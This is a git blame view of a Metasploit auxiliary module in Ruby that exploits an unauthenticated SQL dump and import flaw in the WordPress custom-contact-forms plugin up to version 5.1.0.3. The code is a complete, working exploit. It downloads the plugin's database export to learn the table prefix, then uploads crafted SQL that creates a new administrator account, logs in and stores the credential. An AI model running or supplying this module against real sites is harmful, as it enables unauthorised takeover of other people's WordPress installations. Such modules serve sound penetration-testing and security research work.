Files
metasploit-gs/modules/auxiliary/admin/http/wp_custom_contact_forms.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

109 lines
4.0 KiB
Ruby
Raw Normal View History

2014-09-27 13:42:49 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-09-27 13:42:49 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2014-09-27 13:42:49 +02:00
include Msf::Auxiliary::Report
2015-10-15 11:47:13 -05:00
include Msf::Exploit::Remote::HTTP::Wordpress
2014-09-27 13:42:49 +02:00
def initialize(info = {})
2023-02-08 14:30:08 +00:00
super(
update_info(
info,
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
'Description' => %q{
2014-09-27 13:42:49 +02:00
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
a SQL dump of the plugins database tables. It's also possible to upload files containing
2014-10-01 14:26:09 -05:00
SQL statements which will be executed. The module first tries to extract the WordPress
2014-09-27 13:42:49 +02:00
table prefix from the dump and then attempts to create a new admin user.
2023-02-08 14:30:08 +00:00
},
'Author' => [
2014-09-27 13:42:49 +02:00
'Marc-Alexandre Montpas', # Vulnerability discovery
'Christian Mehlmauer' # Metasploit module
],
2023-02-08 14:30:08 +00:00
'License' => MSF_LICENSE,
'References' => [
2014-09-27 13:42:49 +02:00
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],
2014-10-02 23:03:31 +02:00
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ],
2014-10-03 17:13:18 +02:00
[ 'WPVDB', '7542' ]
2014-09-27 13:42:49 +02:00
],
2023-02-08 14:30:08 +00:00
'DisclosureDate' => '2014-08-07'
)
)
2014-09-27 13:42:49 +02:00
end
def get_sql(table_prefix, username, password)
# create user
sql = "INSERT INTO #{table_prefix}users (user_login, user_pass) VALUES ('#{username}','#{Rex::Text.md5(password)}');"
# make user administrator
2014-09-30 00:21:52 +02:00
sql << "INSERT INTO #{table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{table_prefix}users where user_login='#{username}'),'#{table_prefix}capabilities','a:1:{s:13:\"administrator\";b:1;}'),((select id from #{table_prefix}users where user_login='#{username}'),'#{table_prefix}user_level','10');"
2014-09-27 13:42:49 +02:00
sql
end
def get_table_prefix
res = send_request_cgi({
2023-02-08 14:30:08 +00:00
'uri' => wordpress_url_admin_post,
'method' => 'POST',
2014-09-27 13:42:49 +02:00
'vars_post' => {
2023-02-08 14:30:08 +00:00
'ccf_export' => '1'
2014-09-27 13:42:49 +02:00
}
})
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/
file = res.headers['Location']
res_file = send_request_cgi('uri' => file)
return nil if res_file.nil? || res_file.code != 200 || res_file.body.nil?
match = res_file.body.match(/insert into `(.+_)customcontactforms_fields`/i)
2014-09-27 14:56:34 +02:00
return nil if match.nil? || match.length < 2
2014-09-27 13:42:49 +02:00
table_prefix = match[1]
table_prefix
end
def run
username = Rex::Text.rand_text_alpha(10)
password = Rex::Text.rand_text_alpha(20)
2023-02-08 14:30:08 +00:00
print_status('Trying to get table_prefix')
2014-09-27 13:42:49 +02:00
table_prefix = get_table_prefix
if table_prefix.nil?
2023-02-08 14:30:08 +00:00
print_error('Unable to get table_prefix')
2014-09-27 13:42:49 +02:00
return
else
2016-02-01 16:06:34 -06:00
print_status("got table_prefix '#{table_prefix}'")
2014-09-27 13:42:49 +02:00
end
data = Rex::MIME::Message.new
data.add_part(get_sql(table_prefix, username, password), 'text/plain', nil, "form-data; name=\"import_file\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.sql\"")
data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"')
post_data = data.to_s
2016-02-01 16:06:34 -06:00
print_status("Inserting user #{username} with password #{password}")
2014-09-27 13:42:49 +02:00
res = send_request_cgi(
2023-02-08 14:30:08 +00:00
'method' => 'POST',
'uri' => wordpress_url_admin_post,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
2014-09-27 13:42:49 +02:00
)
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
# test login
cookie = wordpress_login(username, password)
2017-05-01 15:52:53 -05:00
# login successful
2014-09-27 13:42:49 +02:00
if cookie
2017-07-19 12:48:52 +01:00
print_good("User #{username} with password #{password} successfully created")
store_valid_credential(user: username, private: password, proof: cookie)
2014-09-27 13:42:49 +02:00
else
2023-02-08 14:30:08 +00:00
print_error('User creation failed')
2014-09-27 13:42:49 +02:00
return
end
end
end